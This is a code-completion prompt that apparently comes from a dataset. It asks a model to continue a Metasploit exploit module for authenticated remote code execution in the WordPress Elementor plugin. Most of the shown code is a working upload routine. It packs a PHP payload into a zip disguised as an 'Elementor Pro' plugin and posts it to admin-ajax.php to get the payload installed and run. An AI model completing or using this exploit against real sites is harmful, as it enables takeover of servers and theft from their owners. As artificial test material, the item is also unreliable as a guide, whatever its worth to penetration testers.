You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: wp_plugin_elementor_auth_upload_rce.rb
    path of file: ./repos/metasploit-framework/modules/exploits/multi/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wordpress Plugin Elementor Authenticated Upload Remote Code Execution',
        'Description' => %q{
          The Wo
    
  def upload_file(nonce, cookie)
    zip_file = Rex::Zip::Archive.new
    payload_name = 'elementor-pro.php'
    print_status("Payload file name: #{payload_name}")
    # we end up in wp-admin, so we need to get to the right folder
    register_dirs_for_cleanup('../wp-content/plugins/elementor-pro')
    # payload must contain a Plugin Name header with the name of the plugin
    pload = "<?php\n"
    pload << "/**\n"
    pload << "* Plugin Name: Elementor Pro\n"
    pload << "*/\n"
    pload << payload.encoded.gsub('/*<?php /**/ ', '')
    pload << "\n?>"
    zip_file.add_file("/elementor-pro/#{payload_name}", pload)

    vars_form_data = [
      # post_data.add_part('elementor_upload_and_install_pro', nil, nil, 'form-data; name="action"')
      {
        'name' => 'action',
        'data' => 'elementor_upload_and_install_pro'
      },
      # post_data.add_part(nonce, nil, nil, 'form-data; name="_nonce"')
      {
        'name' => '_nonce',
        'data' => nonce
      },
      # post_data.add_part(zip_file.pack, 'application/x-zip-compressed', 'binary', 'form-data; name="fileToUpload"; filename="elementor-pro.zip"')
      {
        'name' => 'fileToUpload',
        'data' => zip_file.pack,
        'encoding' => 'binary',
        'filename' => 'elementor-pro.zip',
        'mime_type' => 'application/x-zip-compressed'
      }

    ]

    resp = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
      'cookie' => cookie,
      'vars_form_data' => vars_form_data
    )
    # we get a timeout on success
    if resp.nil?
      print_good('Payload Uploaded Successfully')
      return
    end